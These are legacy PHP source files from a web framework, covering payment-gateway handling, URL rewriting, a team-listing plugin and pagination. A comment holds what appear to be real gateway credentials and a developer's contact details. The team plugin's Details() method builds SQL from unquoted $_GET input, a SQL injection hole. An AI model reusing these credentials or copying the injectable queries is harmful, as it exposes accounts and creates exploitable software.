The amount to bill the card (in $US). This does NOT include the additional margin added by InternationalBilling.net cardProduct What is the card holder purchasing */ break; case "monetra": if (extension_loaded("mcve")) { MCVE_TransParam($this->conn_id , $this->identifier , MC_USERNAME , $this->username); MCVE_TransParam($this->conn_id , $this->identifier , MC_PASSWORD , $this->password); MCVE_TransParam($this->conn_id , $this->identifier , MC_TRANTYPE, MC_TRAN_SALE); MCVE_TransParam($this->conn_id , $this->identifier , MC_ACCOUNT , $this->ccnr); MCVE_TransParam($this->conn_id , $this->identifier , MC_EXPDATE , ($this->ccexpm < 10 ? "0" .$this->ccexpm : $this->ccexpm ) . (strlen($this->ccexpy) == 4 ? substr($this->ccexpy , 2,2) : $this->ccexpy) ); if ($this->ccvv) MCVE_TransParam($this->conn_id , $this->identifier , MC_CV , $this->ccvv ); MCVE_TransParam($this->conn_id , $this->identifier , MC_AMOUNT , $this->amount); MCVE_TransParam($this->conn_id , $this->identifier , MC_PTRANNUM , $this->orderid); MCVE_TransParam($this->conn_id , $this->identifier , MC_STREET , $this->address ); MCVE_TransParam($this->conn_id , $this->identifier , MC_ZIP , $this->zip); } break; } } function ReturnAllData() { $user["username"] = $this->username; $user["password"] = $this->password; $price["amount"] = $this->amount; $price["shipping"] = $this->shipping; $price["tax"] = $this->tax; $price["handling"] = $this->handling; $order["orderid"] = $this->orderid; $order["orderdescription"] = $this->orderdescription; $order["ipaddress"] = $_SERVER["REMOTE_ADDR"]; $billing["firstname"] = $this->firstname; $billing["lastname"] = $this->lastname; $billing["company"] = $this->company; $billing["address1"] = $this->address1; $billing["address2"] = $this->address2; $billing["city"] = $this->city; $billing["state"] = $this->state; $billing["zip"] = $this->zip; $billing["country"] = $this->country; $billing["phone"] = $this->phone; $billing["fax"] = $this->fax; $billing["email"] = $this->email; $billing["website"] = $this->website; $shipping["shipping_firstname"] = $this->shipping_firstname; $shipping["shipping_lastname"] = $this->shipping_lastname; $shipping["shipping_company"] = $this->shipping_company; $shipping["shipping_address1"] = $this->shipping_address1; $shipping["shipping_address2"] = $this->shipping_address2; $shipping["shipping_city"] = $this->shipping_city; $shipping["shipping_state"] = $this->shipping_state; $shipping["shipping_zip"] = $this->shipping_zip; $shipping["shipping_country"] = $this->shipping_country; $shipping["shipping_email"] = $this->shipping_email; $answer["response"] = $this->_gwerorr; $answer["transid"] = $this->_transid; $answer["authcode"] = $this->_authcode; $answer["aproved"] = $this->_aproved; //compacting all data in return $return["all"] = array_merge ($answer , $order, $price , $user , $billing , $shipping); $return["complex"]["answer"] = $answer; $return["complex"]["shipping"] = $shipping; $return["complex"]["billing"] = $billing; $return["complex"]["price"] = $price; $return["complex"]["order"] = $order; $return["complex"]["user"] = $user; return $return; } function Aproved() { return $this->_aproved; } function TransactionID() { return $this->_transid; } function DecodeAnswer( $answer ) { switch ($this->merchant) { case "networkmerchants": $_answer = explode("&", $answer); $answer = array(); if (is_array($_answer)) foreach ($_answer as $key => $val) { $tmp = explode("=" , $val); $answer[$tmp[0]] = $tmp[1]; } $this->answer = $answer; if ($answer["response"] == 1) { $this->_aproved = 1; $this->_transid = $answer["transactionid"]; $this->_gwerorr = $answer["responsetext"]; $this->_authcode = $answer["authcode"]; } else { $this->_aproved = 0; $this->_gwerorr = $answer["responsetext"]; $this->_transid = $answer["transactionid"]; } break; case "authorize": case "planetpayment": case "quickcommerce": //atentie, "," poate fi sedtata din campurile de trimitere la merchant, de preferita pus $answer = explode(",", $answer); $this->answer = $answer; if ($answer[0] == 1) { $this->_aproved = 1; $this->_transid = $answer[6]; $this->_authcode = $answer[4]; } else { $this->_aproved = 0; $this->_gwerorr = $answer[3]; $this->_gwerorrnr = $answer[2]; $this->_transid = $answer[6]; } break; case "linkpoint": /* <r_csp>CSI</r_csp> <r_time>Fri Mar 17 16:13:43 2006</r_time> <r_ref>0003425523</r_ref> <r_error></r_error> <r_ordernum>AC146403-441B42A6-816-66AE8</r_ordernum> <r_message>APPROVED</r_message> <r_code>1234560003425523:NNNN:100009808639:</r_code> <r_tdate>1142636884</r_tdate> <r_score></r_score> <r_authresponse></r_authresponse> <r_approved>APPROVED</r_approved> <r_avs>NNNN</r_avs> */ $answer = $this->decodeXML($answer); $this->answer = $answer ; if ($answer["r_approved"] == "APPROVED") { $this->_aproved = 1; $this->_transid = $answer["r_code"]; } else { $this->_aproved = 0; //preprocessing for error number //$temp = explode(":" , $answer["r_error"]); if ($temp[0] == "CC-4023") //preprocessing a little $this->_gwerorr = "You have been billed already."; $this->gw_error = $temp[0]; $this->_gwerorr = $answer["r_error"]; } break; case "monetra": //cheking for their module if (extension_loaded("mcve")) { //MCVE_ReturnStatus($this->conn_id , $this->identifier); $code = MCVE_ReturnCode($this->conn_id , $this->identifier); if ($code == 2) { $this->_aproved = 1; $this->_transid = ""; $this->_authcode = ""; } else { $this->_aproved = 0; $this->_gwerorr = "Incorrect data. Please enter your information correct." . "<br>{ ".mcve_transactiontext($this->conn_id, $this->identifier) . "($code)" . " }"; $this->_gwerorrnr = $code; $this->_transid = $answer[6]; } } break; case "eznp": //removing the " $answer = str_replace("\"" , "" , $answer); //exploding after , $answer = explode(",", $answer); $this->answer = $answer; if ($answer[0] == "A") { $this->_aproved = 1; $this->_transid = $answer[3]; } else { $this->_aproved = 0; $this->_gwerorr = $answer[2]; $this->_gwerorrnr = $answer[1]; $this->_transid = $answer[3]; } break; } //spelling correction, this vars are similar with the missspelled ones $this->_gwerror = $this->_gwerorr; $this->_gwerrornr = $this->_gwerorrnr; return $answer; } function CallMerchant() { $question = $this->CreateQuestion(); switch ($this->merchant) { case "monetra": //cheking for their module if (extension_loaded("mcve")) { //sending transaction to server $err = MCVE_TransSend($this->conn_id , $this->identifier); //cheking if the connection succeded if (!$err) die("MCVE:MODULE:Not enought data"); return $this->DecodeAnswer($answer); } break; default: $merchant = curl_init($this->url); set_time_limit(0); $this->url = ""; // post back to PayPal system to validate $header .= "POST /gateway/transact.dll HTTP/1.0\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($question) . "\r\n\r\n"; $fp = fsockopen ('ssl://secure.authorize.net', 443, $errno, $errstr, 30); if (!$fp) { // HTTP ERROR } else { fputs ($fp, $header . $question); while (!feof($fp)) { $answer .= fgets ($fp, 1024); } fclose ($fp); } /* if (curl_error($merchant)) //coudnt connect to server return _CONNECTION_FAILED; //curl_setopt ($merchant, CURLOPT_URL,$this->url); curl_setopt ($merchant, CURLOPT_HEADER, 0); //curl_setopt ($merchant, CURLOPT_POST, 1); curl_setopt ($merchant, CURLOPT_POSTFIELDS,$question); if ($this->certificate) { curl_setopt ($merchant, CURLOPT_SSLCERT, $this->certificate); // debug(GetFileContents($this->certificate)); } //curl_setopt ($merchant, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($merchant, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt ($merchant, CURLOPT_RETURNTRANSFER, 1); // curl_setopt ($merchant, CURLOPT_SSL_VERIFYPEER, 0); $answer = curl_exec ($merchant); curl_close ($merchant); //saveFileContents("question-" . time() . ".xml" , $question); //saveFileContents("answer-" . time() . ".xml" , $answer); */ $answer = explode("\n" , $answer); $answer = trim($answer[8]); $this->rawanswer = $answer; return $this->DecodeAnswer($answer); break; } } /** * constructor which sets the lib`s name * * @param string $name unique library identifier * * @return void * * @acces public */ function CPay() { $this->name = "pay"; } function decodeXML($xmlstg) { preg_match_all ("/<(.*?)>(.*?)\</", $xmlstg, $out, PREG_SET_ORDER); $n = 0; while (isset($out[$n])) { $retarr[$out[$n][1]] = strip_tags($out[$n][0]); $n++; } return $retarr; } } /* Current API Login ID: 46yQw8Jq Current Transaction Key: 44QQ667698tfrZWG $test = new CPay(); $test->SetMerchant("eznp"); $test->SetLogin("agapecomp1","4GapeGF"); $test->EnableTest(); $test->_transid = "ag5XSSK1s5"; //($nr ,$expm , $expy , $ccvv = "" , $no = 0) $test->SetCCInfo("4111111111111111","01" , "05","123","334"); $test->SetBillingInfo( "Emanuel","Giurgea","Oxylus.ro","Ion Simionescu 7" , "" , "Iasi" , "NA" , "6600" , "Romania" , "office@oxylus.ro" , "+4 0742094758" , "+4 0742094758" ,"http://oxylus.ro"); $test->SetShippingInfo( "Emanuel","Giurgea","Oxylus.ro","Ion Simionescu 7" , "" , "Iasi" , "NA" , "6600" , "Romania" , "office@oxylus.ro" , "+4 0742094758" , "+4 0742094758" ,"http://oxylus.ro"); $test->SetOrderInfo("1254325" , "YOur order from my new site"); $test->SetAction (PAY_CAPTURE); $test->SetPrices(108, 20 , 10); $test->CallMerchant(); $test->Aproved(); echo "<pre style=\"background-color:white\">"; print_r($test->ReturnAllData()); */ /* History: v0.1.6 Wensdat 28 April 2004 Added EZNP support. v0.1.5 Tuesday 2 February 2004 Added full support for monetra ( using their php module only, when will apear the xml module will be implemented too), only pay/refund. Many thanks to Rusia :) v0.1.4b Saturday 24 January 2004 Changed the xml generation for linkpoint Changed SetCCInfo, now the expiration month and year are difenret variables Certification file must be in ./linkpoint.pem. in case you dont want this to be public use .htaccess to protect it Wensday 25 Feb 2004, first client which is using linkpoint with out problems. Seems the problem is from linkpoint and from a version of curl not, from this script. v0.1.4a Wednesday 14 January 2004 Affed support for linkpoint.com, tested with fightads v0.1.3 Monday 5 January 2004 Full support for authorize net and it's resellers, tested and also refound option. v0.1.2 Thursday 14 August 2003 When the order is complete the library sends mail to client and owner withe the order content. v0.1.1 Wensday 13 August 2003 Added support for 3 new merchants authorize.net / planetpayment / quickcommerce, all of them are using the same engine as authorize.net v0.1 Friday 8 August 2003 The day when it was created. In the begining it has support for network merchants gateway www.networkmerchants.com */ ?>``` run.rewrite.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2010 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ //$_MODULES["oxymall"]->private->vars->data["set_links_type"] = "1"; // dependencies global $_GET , $myget; //$_MODULES["oxymall"]->private->vars->data["set_links_type"] = 1; if ($_SERVER["REQUEST_URI"]) { $_SERVER_URL = $_SERVER["REQUEST_URI"]; } else $_SERVER_URL = $_SERVER["REDIRECT_URL"]; //check if the site its hosted in a subdomain if ($script_path = dirname($_SERVER["SCRIPT_NAME"])) { if ($script_path != "/") { $_SERVER_URL = str_replace( $script_path , "", $_SERVER_URL ); } } if (!$_MODULES["oxymall"]->private->vars->data["set_links_type"]) { $_SERVER_URL = str_replace( "index.php/" , "", $_SERVER_URL ); } //check if the urls its build with index.php //check for the default configuration for links if (substr($_SERVER_URL,0,1) == "/") { $_SERVER_URL = substr($_SERVER_URL,1); } if (stristr($_SERVER_URL , "index.php")) { $_SERVER_URL = str_replace("index.php" , "" , $_SERVER_URL); } if (stristr($_SERVER_URL , "?")) { $proc = explode("?" , $_SERVER_URL); $vars = $proc["1"]; $_SERVER_URL = $proc[0]; $vars = @explode("&" , $vars); if (count($vars)) { foreach ($vars as $key => $val) { $var = explode("=" , $val); $_GET[$var[0]] = urldecode($var[1]); } } } $tmp = explode("/" , $_SERVER_URL); $mod_code = trim($tmp[0]); //fast quick for when the site its in root if (!$mod_code) { //get the first module $module = $_MODULES["oxymall"]->plugins["modules"]->GetFirstModuleByCode(true); if (!$_MODULES["oxymall"]->private->vars->data["set_links_type"]) { $_SERVER_URL = $module["mod_url"] . "/"; } else { $_SERVER_URL = "/" . $module["mod_url"] . "/"; } } else { //get the detected module $module = $_MODULES["oxymall"]->plugins["modules"]->GetModuleByCode($mod_code , true); } if (is_array($module)) { //process the cuustom url $_GET["module_id"] = $module["mod_id"]; } //load the redirects path $redirects = file("local/redirects.txt"); //change the redirect tabs with space if (is_array($redirects)) { foreach ($redirects as $key => $val) { $redirects[$key] = str_replace("\t" , " " , $val); } } //change the modules code in the rules if (is_array($redirects)) { foreach ($redirects as $key => $val) { if (trim($val)) { //echo "__" . $module["mod_module_code"] . "_module__" ; $rules[] = str_replace( "__" . $module["mod_module_code"] . "_module__" , $module["mod_url"], trim($val) ); } } if (is_array($rules)) { //this script its killing the global $_GET $htaccess = new HTAccess ($_GET); foreach ($rules as $key => $val) { $htaccess->setLine($val); } } //process the link and extra variables if (!$_MODULES["oxymall"]->private->vars->data["set_links_type"]) { $link = str_replace("index.php/" , "" , $_SERVER_URL); } else { $link = $_SERVER_URL; } if (substr($link,0,1) == "/") { $link = substr($link,1); } if (strstr($link , "?")) { $link = explode("?" , $link ); $vars = explode("&" , $link["1"]); $link = $link[0]; foreach ($vars as $key => $val) { $tmp = explode("=" , $val ); if (!$_GET[trim($tmp[0])]) $_GET[trim($tmp[0])] = ($tmp[1]); } } $htaccess->execute($link); if ($_GET["_PAGE"]) { global $_PAGE; $_PAGE = $_GET["_PAGE"]; } if ($_GET["sub"]) { header("HTTP/1.1 200 OK"); } } //check if the scriptname its php if ($_GET["mod"] == "detect-redirect") { $_MODULES["oxymall"]->plugins["modules"]->Redirect404(); } ?>``` messages.admin.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CMessagesAdmin { function CMessagesAdmin($templates , $database , $tables) { $this->name = "messagesadmin"; $this->db = $database; $this->templates = $templates; $this->tables = $tables; } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE; $_CONF["forms"]["adminpath"] = _LIBPATH . "xml/"; $data = new CSQLAdmin("messages", $this->templates,$this->db,$this->tables); return $data->DoEvents(); } } ?>``` site.team.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallTeam extends CPlugin{ var $tplvars; function COXYMallTeam() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.team.")) { $sub = str_replace("oxymall.plugin.team." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Listing(); break; case "item": return $this->Details(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "landing.htm", "details" => "details.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Listing() { global $base; $cats = $this->GetCategories(); //if no category, nothign to show if (!is_array($cats)) { return ""; } //detect the first cat if (!$_GET["cat"]) { $cat = $cats[0]; $_GET["cat"] = $cat["cat_url"]; } else { foreach ($cats as $key => $val) { if ($val["cat_url"] == $_GET["cat"]) { $cat = $val; } } } $cats = $this->ProcessCats($cats); $items = $this->GetRecords($cat); //process the seo $this->module->plugins["modules"]->SetSeo($cat); $this->module->plugins["modules"]->SetSeo($this->tpl_module); return CTemplateStatic::Replace( $this->private->templates["landing"]->BlockReplace( "Main", array( "categories" => $this->module->plugins["common"]->Categories( $this->ProcessCats($cats), $_GET["cat"], $this->tpl_module["settings"]["set_categories_type"] ), "items" => $base->html->Table( $this->private->templates["landing"], "Items", $items["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $items["pages"] , $items["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/{PAGE}/") , ), array( "ipp" => $items["ipp"], "total" => $items["count"] ) ), "header" => $cat["cat_description"] ? $this->private->templates["landing"]->blockReplace( "Header", $cat ) : "", ) ), $cat ); } function ProcessCats($cats) { if (is_Array($cats)) { //if i have just one category do not show a thing if (count($cats) == 1) { return ""; } foreach ($cats as $key => $val) { $cats[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/"); } } return $cats; } function GetCategories() { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:team_cats']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY cat_order" ); return $cats; } function GetRecords($cat) { $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; $item_count = $this->db->RowCount( $this->tables['plugin:team_items'], "WHERE module_id={$this->tpl_module[mod_id]} AND item_cat={$cat[cat_id]}" ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:team_items']} as i , {$this->tables['plugin:team_cats']} " . "WHERE i.module_id={$this->tpl_module[mod_id]} AND item_cat={$cat[cat_id]} AND item_cat=cat_id " . "ORDER BY item_order ASC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_array($items)) { foreach ($items as $key => $val) { $items[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/" . $val["item_url"] . "/" . $val["item_id"] . "/"); } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count ); } /** * description * * @param * * @return * * @access */ function Details() { global $_CONF; $item = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:team_cats']}, {$this->tables['plugin:team_items']} as i WHERE i.module_id={$this->tpl_module[mod_id]} AND item_id={$_GET[item]} AND item_cat=cat_id " ); if (!is_array($item)) { $this->module->plugins["common"]->Redirect404(); } $this->module->plugins["modules"]->SetSeo($item); $this->module->plugins["modules"]->SetSeo($this->tpl_module); //prepare the image $item["image"] = $item["item_large"] ? $this->private->templates["details"]->blockReplace( "Image", $item ) : ""; $item["back"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $item["cat_url"] . "/"); $item["email"] = $item["item_email"] ? $this->private->templates["details"]->blockReplace("Email" , $item) : ""; $item["phone"] = $item["item_phone"] ? $this->private->templates["details"]->blockReplace("Phone" , $item) : ""; $item["comments"] = $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $item["cat_url"] . "/" . $item["item_url"] . "/" . $item["item_id"], $this->tpl_module["settings"]["set_fbcomments"] ); $return = $this->private->templates["details"]->blockReplace( "Details" , $item ); return $this->Texts($return); } function Texts($content) { return CTemplateStatic::Replace( $content , $this->tpl_module["settings"] ); } function GetAllLinks($module , $links) { } } ?>``` site.paging.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2007 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallPaging extends CPlugin{ var $tplvars; function COXYMallPaging() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ } function __init() { global $_CONF , $_DOMAIN_CODE; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "paging" => "paging.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function _Paging($pages , $current , $link , $total = 0) { $this->__init(); if ($pages <= 1) { return ""; } $tpl = &$this->private->templates["paging"]; //defaults $adjacents = 3; $limit = 1; $page = $current; //other vars $prev = $page - 1; //previous page is page - 1 $next = $page + 1; //next page is page + 1 $lastpage = ceil($pages / $limit); //lastpage is = total items / items per page, rounded up. $lpm1 = $lastpage - 1; //last page minus 1 /* Now we apply our rules and draw the pagination object. We're actually saving the code to a variable in case we want to draw it more than once. */ if (is_array($link)) { $link0 = $link["first"]; $link1 = $link["all"]; $link2 = $link["last"] ? $link["last"] : $link["all"]; } else $link0 = $link1 = $link2 = $link; if($lastpage > 1) { if ($page > 1) { $prev_html= $tpl->blockReplace( "Back" , array( "url" => CTemplateStatic::Replace( $current == 2 ? $link0 : $link1 , array("page" => $prev )), "page" => $prev ) ); } else { $prev_html = $tpl->blockReplace( "BackDisabled" , array( "page" => $prev ) ); } //pages if ($lastpage < 7 + ($adjacents * 2)) //not enough pages to bother breaking it up { for ($counter = 1; $counter <= $lastpage; $counter++) { //detect the link if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } } elseif($lastpage >= 7 + ($adjacents * 2)) //enough pages to hide some { //close to beginning; only hide later pages if($page < 1 + ($adjacents * 3)) { for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++) { if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } $html .= $tpl->blockReplace( "Dots" , array() ); $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lpm1 )), "page" => $lpm1 ) ); $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lastpage )), "page" => $lastpage ) ); } //in middle; hide some front and some back elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) { $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link0 , array("page" => 1 )), "page" => 1 ) ); $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => 2 )), "page" => 2 ) ); $html .= $tpl->blockReplace( "Dots" , array() ); for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) { if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } $html .= $tpl->blockReplace( "Dots" , array() ); $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lpm1 )), "page" => $lpm1 ) ); $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lastpage )), "page" => $lastpage ) ); } //close to end; only hide early pages else { $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link0 , array("page" => 1 )), "page" => 1 ) ); $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => 2 )), "page" => 2 ) ); $html .= $tpl->blockReplace( "Dots" , array() ); for ($counter = $lastpage - (1 + ($adjacents * 3)); $counter <= $lastpage; $counter++) { if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } } } if ($page < $lastpage) { $next_html = $tpl->blockReplace( "Next" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $next )), "page" => $next ) ); } else { $next_html= $tpl->blockReplace( "NextDisabled" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $next )), "page" => $next ) ); } } return $tpl->blockReplace( "Main" , array( "data" => $html, "next" => $next_html, "prev" => $prev_html, "from" => ($current - 1 ) * 7 + 1, "to" => min($total , ($current ) * 7 ), "total" => $total, ) ); } function Paging($pages , $current , $link , $ipp = 0) { $this->__init(); $tpl = &$this->private->templates["paging"]; $max = 7; if ($pages > 1) { if (is_array($link)) { $link0 = $link["first"]; $link1 = $link["all"]; $link2 = $link["last"] ? $link["last"] : $link["all"]; } else $link0 = $link1 = $link2 = $link; //$current = 8; //i have less pages the max that fit if ($pages <= $count) { for ($i = 1 ; $i<= $pages ; $i++) { if ($i == 1) { $clink = $link0; } else { if ($i == $pages) { $clink = $link2; } else $clink = $link1; } $records[] = $tpl->blockReplace( "Page" . ($i == $current ? "Current" : "") , array( "url" => CTemplateStatic::Replace($clink , array("page" => $i)) , "page" => $i ) ); } } else { //i'm at the begining of the pages if ($current <= $max) { for ($i = 1 ; $i<= (min($pages , $max)) ; $i++) { if ($i == 1) { $clink = $link0; } else { if ($i == $pages) { $clink = $link2; } else $clink = $link1; } $records[] = $tpl->blockReplace( "Page" . ($i == $current ? "Current" : "") , array( "url" => CTemplateStatic::Replace($clink , array("page" => $i)) , "page" => $i ) ); } if ($pages > $max) { $records[] = $tpl->blockReplace("Middle" , array()); } } else { //i'm at the end of the pages if ($current > $pages - $max) { $records[] = $tpl->blockReplace("Middle" , array()); for ($i = ($pages - $max+1) ; $i<= $pages ; $i++) { if ($i == 1) { $clink = $link0; } else { if ($i == $pages) { $clink = $link2; } else $clink = $link1; } $records[] = $tpl->blockReplace( "Page" . ($i == $current ? "Current" : "") , array( "url" => CTemplateStatic::Replace($clink , array("page" => $i)) , "page" => $i ) ); } } else { //i'm in the middle $records[] = $tpl->blockReplace("Middle" , array()); $count = ceil($max / 2 ); for ($i = $current - $count + 1; $i <= $current + $count -1; $i ++) { $records[] = $tpl->blockReplace( "Page" . ($i == $current ? "Current" : "") , array( "url" => CTemplateStatic::Replace($link1 , array("page" => $i)) , "page" => $i ) ); } $records[] = $tpl->blockReplace("Middle" , array()); } } } $next_html = $tpl->blockReplace( ($current < $pages) ? "Next" : "NextDisabled", array( "url" => CTemplateStatic::Replace($link1 , array("page" => $current + 1)) , "page" => $current + 1 ) ); $prev_html = $tpl->blockReplace( ($current > 1) ? "Back" : "BackDisabled", array( "url" => CTemplateStatic::Replace($current == 2 ? $link0 : $link1 , array("page" => $current - 1)) , "page" => $current - 1 ) ); if ($ipp) { $summary = $tpl->blockReplace( "Summary", array( "from" => ($current-1) * $ipp["ipp"] + 1, "to" => min($ipp["total"] , ($current-1) * $ipp["ipp"] + $ipp["ipp"]), "total" => $ipp["total"], ) ); } return $tpl->blockReplace( "Main", array( "sum" => $ipp ? $summary : "", "page" => $current , "pages" => $pages, "prev" => $prev_html, "next" => $next_html, "data" => implode( $tpl->blockReplace("Sep" , array()), $records ) ) ); } return ""; } } ?>``` site.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: site.php,v 0.0.1 09/03/2003 20:38:15 Exp $ contact: www.oxylus.ro office@oxylus.ro * @author OXYLUS [OXYLUS.ro <devel@oxylus.ro>] * @since PHPbase 0.0.1 */ // IIS // this is suposed to be a bug fix for those crappy IIS servers which doesnt know what // REQUEST_URI is, FUCK MICROSOFT if (!isset($_SERVER["REQUEST_URI"])) { $_SERVER["REQUEST_URI"] = (strtoupper($_SERVER["HTTPS"]) == "on" ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . ($_SERVER["SERVER_PORT"] != 80 ? ':' . $_SERVER["SERVER_PORT"] : '') . $_SERVER["SCRIPT_NAME"] . ( $_SERVER["QUERY_STRING"] ? '?' . $_SERVER["QUERY_STRING"] : '' ); } if (!defined("_3RDPATH")) { define("_3RDPATH" , "3rdparty/"); } // do a fast check for the modules path if (!defined("_MODPATH")) { define("_MODPATH" , "modules/"); } // do a fast check for the modules path if (!defined("_TPLPATH")) { define("_TPLPATH" , "templates/"); } if (!defined("_LANGPATH")) { define("_LANGPATH" , "lang/"); } if (!defined("_LOCALPATH")) { define("_LOCALPATH" , "local/"); } if (!defined("_LIBPATH")) { define("_LIBPATH" , "lib/"); } //by commenting this lines you cna enable / disable the xml cacheing if (!defined("_XMLCACHE")) { // define("_XMLCACHE" , "./xml/"); } //work with the cache its must faster then loading each time the xmls //define("_XMLNOFILE" , "1"); if (!defined("_TPLCACHE")) { define("_TPLCACHE" , "./tmp/tplcache/"); } //by commenting this lines you cna enable / disable the object cacheing //if (!defined("_OBJCACHE")) { // define("_OBJCACHE" , "./tmp/objcache/"); //} //devel stuff only //$_SITE_IDENTITY_CODE = "<font style='font-size:0px'>L1SMPBOD</font>"; session_start(); //error_reporting(0); $coreLibs = array( "common.php", "common.new.php", "xml.php", "library.php", "module.php", "debug.php", "plugins.php", "html.php", "config.php", "error.php", "database.php", "template.php", "vars.php", "sqladmin.php", "forms.php", "image.php", // "messages.php" ); if (is_array($coreLibs)) { foreach ($coreLibs as $key => $library) { if (file_exists(_LIBPATH . $library)) require_once _LIBPATH . $library; else die("<b>Error:<.b> Missing Core Library: $library"); } } //autodetect the rest of the libraries and load them $libs = dir(_LIBPATH); while (false !== ($entry = $libs->read())) { //check if the extension of the file is .php if (CFile::Extension($entry) == "php") { //check not to be in the corelibs if (!in_array($entry , $coreLibs) && ($entry != "site.php")) { require_once _LIBPATH . $entry; } } } $libs->close(); class CBase { /** * description * * @var type * * @access type */ var $html; } class CSite { /** * description * * @var type * * @access type */ var 